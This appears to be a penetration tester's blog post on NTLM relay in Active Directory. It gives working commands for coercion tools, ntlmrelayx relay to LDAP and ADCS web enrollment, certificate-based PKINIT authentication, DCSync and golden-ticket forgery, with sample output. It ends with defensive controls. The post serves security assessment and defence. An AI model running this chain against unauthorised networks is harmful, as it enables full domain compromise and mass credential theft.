NTLM authentication is still everywhere. Despite being a protocol with well-documented, decades-old weaknesses, it remains enabled by default across the vast majority of Windows environments we assess. In nearly every internal penetration test we conduct, we identify at least one viable path to domain compromise through NTLM relay — often within the first hour of enumeration. The attack surface has not shrunk; if anything, the tooling available to exploit it has matured to the point where the barrier to execution is lower than ever.
This post covers the mechanics of NTLM relay end to end: how the attack works at the protocol level, how we force authentication from high-value targets using modern coercion techniques, which relay targets reliably yield domain admin, and how we chain relay with Active Directory Certificate Services abuse to achieve persistent, durable domain compromise. We close with the defensive controls that actually move the needle.
How NTLM Relay Works
NTLM relay is a man-in-the-middle attack against Microsoft's challenge-response authentication protocol. To understand why it works, you need to understand the three-party dance it exploits: the victim (the machine or account being coerced into authenticating), the attacker (who intercepts and replays that authentication), and the target (the service the attacker wants to authenticate to on the victim's behalf).
When a Windows machine initiates NTLM authentication, it sends a NEGOTIATE message to the server. The server responds with a CHALLENGE message containing a nonce. The client then hashes its credentials together with that nonce and returns an AUTHENTICATE message. The server verifies the hash and grants or denies access. Critically, the client never sends a password — only a keyed hash of one.
This is where relay diverges from simple credential capture. When we capture an NTLM hash (via Responder poisoning LLMNR/NBT-NS, for example), we get a Net-NTLMv2 hash that must be cracked offline before it is useful. Relay skips that step entirely. Instead of capturing the hash and cracking it, we sit between the victim and a target service, forwarding the authentication exchange in real time. The victim authenticates to us; we replay that exact authentication to our chosen target. If the target accepts it, we have an authenticated session as the victim — no cracking required, no password ever known.
The key constraint is that we cannot relay authentication back to the same host it originated from (the "loop-back" protection added in MS08-068 for SMB). We must relay to a different target. This is why coercion and target selection matter so much.
Authentication Coercion Techniques
Passive relay attacks — sitting on the network and waiting for a machine to authenticate to a spoofed name — still work in poorly segmented environments. But they are slow and unreliable. Modern assessments rely on active coercion: forcing a specific, high-value host to authenticate to us on demand. The following techniques are the ones we reach for most often.
PetitPotam
PetitPotam, disclosed by Lionel Gilles in 2021, abuses the MS-EFSRPC (Encrypting File System Remote Protocol) to force a target machine to authenticate to an arbitrary UNC path. In its most impactful form, it can coerce authentication from domain controllers without any credentials — though Microsoft's patches have addressed the unauthenticated variant on fully patched DCs. An authenticated version remains viable in most environments we assess.
# PetitPotam — coerce DC authentication to our listener
# Unauthenticated (unpatched DCs)
python3 PetitPotam.py -u '' -p '' ATTACKER_IP DC_IP
# Authenticated (works on patched DCs with valid domain creds)
python3 PetitPotam.py -u lowpriv_user -p 'Password123!' \
-d domain.local ATTACKER_IP DC_IP
PrinterBug / SpoolSample
The Print Spooler bug (CVE-2019-1040-adjacent, but distinct) abuses the MS-RPRN protocol's RpcRemoteFindFirstPrinterChangeNotificationEx function. Any authenticated domain user can call this RPC method against a remote host running the Print Spooler service and force it to authenticate back to a specified server. Domain controllers frequently have the Spooler service running — a default-on service Microsoft only began disabling by default in Windows Server 2019 and later.
# SpoolSample — coerce authentication via MS-RPRN
# Requires: Print Spooler running on target, valid domain credentials
python3 SpoolSample.py DC_IP ATTACKER_IP
# Check if Spooler is running before coercion
rpcclient -U "domain/user%Password123!" DC_IP \
-c "enumdrivers 3"
DFSCoerce
DFSCoerce abuses the MS-DFSNM (Distributed File System Namespace Management) protocol. Like PetitPotam, it can force a DC to authenticate to an arbitrary host. It was disclosed as an alternative coercion path when Microsoft's initial PetitPotam patches blocked EFS-based coercion, demonstrating that the root problem is the authentication callback pattern in Windows RPC protocols rather than any single implementation.
# DFSCoerce — coerce via MS-DFSNM
python3 dfscoerce.py -u lowpriv_user -p 'Password123!' \
-d domain.local ATTACKER_IP DC_IP
ShadowCoerce
ShadowCoerce abuses the MS-FSRVP (File Server Remote VSS Protocol) to trigger authentication callbacks. It requires the File Server VSS Agent Service to be running on the target, which limits its applicability compared to PetitPotam or PrinterBug, but it remains a useful alternative path in environments where those primary vectors have been patched or the relevant services disabled.
# ShadowCoerce — coerce via MS-FSRVP
python3 shadowcoerce.py -u lowpriv_user -p 'Password123!' \
-d domain.local ATTACKER_IP DC_IP
In practice, we start our relay listener first — ntlmrelayx listening on SMB and HTTP — then trigger coercion. The moment the target machine dials back to us, the relay is live.
# Start ntlmrelayx before triggering coercion
# Relay to LDAP on a domain controller
python3 ntlmrelayx.py -t ldap://DC_IP --no-smb-server \
--http-port 8080 -smb2support
# Relay to LDAPS (required for sensitive operations like adding accounts)
python3 ntlmrelayx.py -t ldaps://DC_IP --no-smb-server \
--http-port 8080 -smb2support --delegate-access
High-Value Relay Targets
Not all relay targets are equal. The value of a successful relay depends entirely on what the target service allows the relayed session to do. Here is how we prioritize.
LDAP and LDAPS
LDAP is the most impactful relay target in most Active Directory environments because it allows us to make changes to directory objects if the relayed account has sufficient permissions. Relaying a domain controller's machine account to LDAP on another DC — using coercion — often yields the ability to perform Resource-Based Constrained Delegation (RBCD) attacks, add objects, or modify ACLs.
The critical distinction: LDAP without signing allows relay but restricts sensitive write operations. LDAPS (LDAP over TLS) is required for operations such as adding members to privileged groups or writing sensitive attributes, but LDAPS relay is only possible when the target does not require channel binding — which is the default in many environments. If LDAP signing is enforced domain-wide, LDAP relay is blocked. If it is not, and if channel binding is not required on LDAPS, we have a path to domain admin.
ADCS Web Enrollment — ESC8
Active Directory Certificate Services with the Web Enrollment interface enabled is one of the most reliable paths from NTLM relay to persistent domain admin we have encountered. This is ESC8 in the SpecterOps taxonomy. The ADCS HTTP enrollment endpoint does not enforce EPA (Extended Protection for Authentication) by default, making it a perfect relay target.
When we coerce a domain controller to authenticate to us and relay that authentication to the ADCS web enrollment endpoint, we can request a certificate on behalf of the DC's machine account. A certificate for a DC machine account can then be used to obtain a Kerberos TGT for that account via PKINIT, and from there we can perform DCSync — dumping all domain credentials. This chain requires no prior privileges beyond a low-level domain account used for coercion.
Exchange Web Services
In environments still running on-premises Exchange, EWS is a historically powerful relay target. The combination of Exchange's elevated AD permissions (PrivExchange — Exchange Windows Permissions group members historically had WriteDACL on the domain object) and NTLM relay to EWS allowed full domain compromise. While Microsoft has reduced Exchange's default AD permissions, Exchange environments we assess still regularly contain legacy configurations or custom permission grants that make EWS relay worthwhile to attempt.
SCCM / MECM
Microsoft Configuration Manager (formerly SCCM) environments introduce additional relay surface. Relay attacks against SCCM's administrative service or distribution point HTTP endpoints can yield access to the site server. In environments where the SCCM site server's machine account has local admin on managed endpoints (which is the default), a relay to SCCM can cascade into lateral movement across every managed machine in the environment.
From Relay to Domain Compromise
The most reliable full-chain path we use in assessments combines NTLM relay with ADCS certificate abuse. Here is the step-by-step walkthrough from coercion to a golden ticket.
Step 1 — Start the Relay Listener
We configure ntlmrelayx to relay incoming NTLM authentication to the ADCS web enrollment endpoint. The --adcs flag instructs ntlmrelayx to automatically request a certificate when relay succeeds.
# Identify the ADCS web enrollment URL first
certipy find -u lowpriv_user@domain.local -p 'Password123!' \
-dc-ip DC_IP -stdout | grep -i "Web Enrollment"
# Start relay targeting ADCS HTTP enrollment
python3 ntlmrelayx.py \
-t http://CA_SERVER/certsrv/certfnsh.asp \
--adcs \
--template DomainController \
-smb2support \
--no-smb-server \
--http-port 8080
Step 2 — Coerce Domain Controller Authentication
With the relay listener active, we trigger coercion against a domain controller. PetitPotam is our first choice; we fall back to PrinterBug or DFSCoerce depending on patch level and running services.
# Trigger coercion — DC authenticates to our relay listener
python3 PetitPotam.py -u lowpriv_user -p 'Password123!' \
-d domain.local ATTACKER_IP DC_IP
# ntlmrelayx output when relay succeeds:
# [*] Authenticating against http://CA_SERVER/certsrv/certfnsh.asp as DOMAIN\DC$
# [*] SMBD-Thread-5: Connection from DOMAIN/DC$@DC_IP
# [*] Got certificate! Saving as DC$.pfx
Step 3 — Authenticate with the Certificate via PKINIT
The certificate obtained from ADCS represents the DC's machine account identity. We use it to request a Kerberos TGT via PKINIT, which also returns the NT hash of the machine account through the PKINIT Unpac-the-Hash technique.
# Use the certificate to get a TGT and the DC machine account NT hash
python3 certipy auth -pfx DC$.pfx -dc-ip DC_IP
# Output:
# [*] Using principal: dc$@domain.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'dc$.ccache'
# [*] Trying to retrieve NT hash for 'dc$'
# [*] Got NT hash for 'dc$@domain.local': aad3b435b51404eeaad3b435b51404ee:e12f3...
export KRB5CCNAME=dc$.ccache
Step 4 — DCSync with the Machine Account TGT
With a valid TGT for the DC machine account, we can perform DCSync — pulling every credential in the domain, including the KRBTGT hash needed for a golden ticket.
# DCSync using the DC machine account's TGT
python3 secretsdump.py -k -no-pass DC_FQDN \
-just-dc-ntlm
# Or with the NT hash directly
python3 secretsdump.py -hashes :e12f3... \
'domain.local/DC$@DC_IP' -just-dc-ntlm
# Output includes:
# domain.local\Administrator:500:aad3...:8846f...
# domain.local\krbtgt:502:aad3...:a577f...
Step 5 — Golden Ticket
With the KRBTGT hash, we forge a golden ticket — a Kerberos TGT that grants access to any service in the domain, independently of Active Directory, for the ticket's lifetime. This is the persistence artifact that survives password resets of every account except KRBTGT itself (and KRBTGT must be reset twice to fully invalidate existing golden tickets).
# Forge a golden ticket
python3 ticketer.py \
-nthash a577f... \
-domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
-domain domain.local \
Administrator
export KRB5CCNAME=Administrator.ccache
# Verify domain admin access
python3 psexec.py -k -no-pass domain.local/Administrator@DC_IP
From a single low-privileged domain account and one NTLM relay, we now have a forged credential that grants domain admin access to every machine in the environment. The entire chain — coercion to golden ticket — takes under fifteen minutes in a cooperative environment.
Defensive Guidance
NTLM relay is not a zero-day. Every technique described in this post has a known mitigation. The problem is that mitigations are spread across multiple configuration surfaces, require coordination between teams, and can break legacy applications if applied without testing. Here is what actually moves the needle:
- Enable SMB Signing domain-wide. Group Policy: Microsoft network server: Digitally sign communications (always) set to Enabled on all machines. SMB signing prevents relay to SMB targets entirely. It is the single highest-impact control and has essentially no performance cost on modern hardware. Apply it to all DCs, servers, and workstations.
- Enforce LDAP Signing and Channel Binding. Set Domain controller: LDAP server signing requirements to Require Signing. Enable LDAP channel binding via the registry key
LdapEnforceChannelBinding = 2on all DCs. These two controls together block relay to LDAP and LDAPS. Microsoft has been moving toward making these defaults — verify your DCs are not running in the legacy compatibility mode. - Enable Extended Protection for Authentication (EPA) on ADCS Web Enrollment. This is the specific mitigation for ESC8. In IIS, enable Windows Authentication Extended Protection on the
certsrvapplication and set it to Required. Also apply the May 2022 ADCS security updates (KB5014754), which add additional protections to certificate enrollment interfaces. Without EPA, any environment with ADCS web enrollment is vulnerable to the relay-to-DA chain described above. - Disable the Print Spooler service on domain controllers and servers that do not need it. The Print Spooler is a coercion surface. DCs should not be running it. Use Group Policy to disable the service: set the Startup Type to Disabled for Print Spooler on the Domain Controllers OU. Verify with
Get-Service Spooler -ComputerName DC_NAME. - Block outbound NTLM where possible. Use the Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers GPO setting. At minimum, use the audit mode (Audit all) to identify what is using NTLM before blocking it. In many environments, NTLM can be blocked entirely for DCs communicating with other DCs without breaking anything.
- Disable NTLM entirely in high-security environments. This is the gold standard but requires careful planning. Use the Network security: Restrict NTLM: NTLM authentication in this domain policy in audit mode for at least 30 days, review the event logs (Event IDs 8001, 8002, 8003, 8004), remediate legacy dependencies, then move to block mode. Kerberos handles authentication for domain resources; NTLM is only needed for legacy protocols and specific edge cases.
- Patch ADCS and monitor certificate enrollment. Audit issued certificates regularly. Alert on certificates issued for machine accounts, domain controllers, or sensitive user accounts through the web enrollment interface. Legitimate enrollment workflows rarely touch these templates through HTTP.
- Monitor for coercion indicators. Event ID 4624 (logon) with Logon Type 3 (network) for DC machine accounts authenticating to non-DC hosts is anomalous. Alert on it. Also monitor for unusual RPC calls to MS-RPRN, MS-EFSRPC, and MS-DFSNM from non-administrative workstations.